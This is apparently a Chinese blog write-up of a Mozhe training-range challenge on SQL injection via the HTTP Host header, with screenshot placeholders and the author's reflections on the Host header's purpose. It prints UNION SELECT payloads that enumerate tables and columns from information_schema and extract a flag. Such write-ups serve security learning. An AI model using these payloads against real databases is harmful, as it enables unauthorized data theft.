墨者 - SQL注入漏洞测试(HTTP头注入)

  •  手动判断注入点

     

    墨者 - SQL注入漏洞测试(HTTP头注入)_第1张图片

     

     

    墨者 - SQL注入漏洞测试(HTTP头注入)_第2张图片

     

     

    墨者 - SQL注入漏洞测试(HTTP头注入)_第3张图片

     

     

    墨者 - SQL注入漏洞测试(HTTP头注入)_第4张图片

     

  • 判断字段

     

    墨者 - SQL注入漏洞测试(HTTP头注入)_第5张图片

     

     

    墨者 - SQL注入漏洞测试(HTTP头注入)_第6张图片

     

  • 判断表名union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema=database())

     

    墨者 - SQL注入漏洞测试(HTTP头注入)_第7张图片

     

  • 判断列名 union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_name='flag')

     

    墨者 - SQL注入漏洞测试(HTTP头注入)_第8张图片

    image.png

  • 判断值 union select 1,2,3,(select group_concat(flag) from flag)

     

    墨者 - SQL注入漏洞测试(HTTP头注入)_第9张图片


一些感想

 整个过程与普通的sql注入无异,没什么难度。真正的核心难度在与如何找到注入点,但是因为题目已经给出是Host注入了,所以也能根据这个提示找到注入点。但是我还是有个疑问:Host字段是用来记录地址的,为什么可以直接拼接构造order by 1
或者 and 1=1 这些语句?

带着这些疑问,我去寻找host字段相关的解释

Host字段的作用

通常,我们一台服务器上不止有一个web程序,很多情况下都有几个web程序,也就是说这几个web程序共用一个ip地址。当我们配置基于端口的虚拟主机,这是没有什么问题的,不同的web程序可以通过不同的端口来判断。但是,当我们配置基于域名的虚拟主机时,几个web程序共用一个ip地址(这里我们假设为192.168.1.1)和一个端口(这里我们假设为80端口)。那么,当客户端请求都发到了服务器的80端口,服务器怎么判断这条请求是发送给哪个web程序的呢?这时候,host头出现了,host头指定了应该由哪个网站或是web应用程序来处理一个传入的HTTP请求。web服务器使用该头部的值来将请求分派到指定的网站或web应用程序之上。
一般后端的获取host形式为:

    //触发一个get请求
                      //触发POST请求

 直接塞order by 或者and等字段是无法执行的才对

 唯有的解释就是他像cookie 的sql注入一样,有着相似的代码(将_cookie换成host之类的获取客户端传来的值),才存在构造sql   的可能

 

 

而且网上大部分基于host注入的利用方向是缓存污染和密码重置,基于host的sql注入方式实在少见。

所以我认为这道题是为出题而出题,实战意义不大。

参考链接:https://www.jianshu.com/p/690acbf9f321

                  https://blog.csdn.net/qq_36119192/article/details/89137300

你可能感兴趣的:(墨者刷题笔记)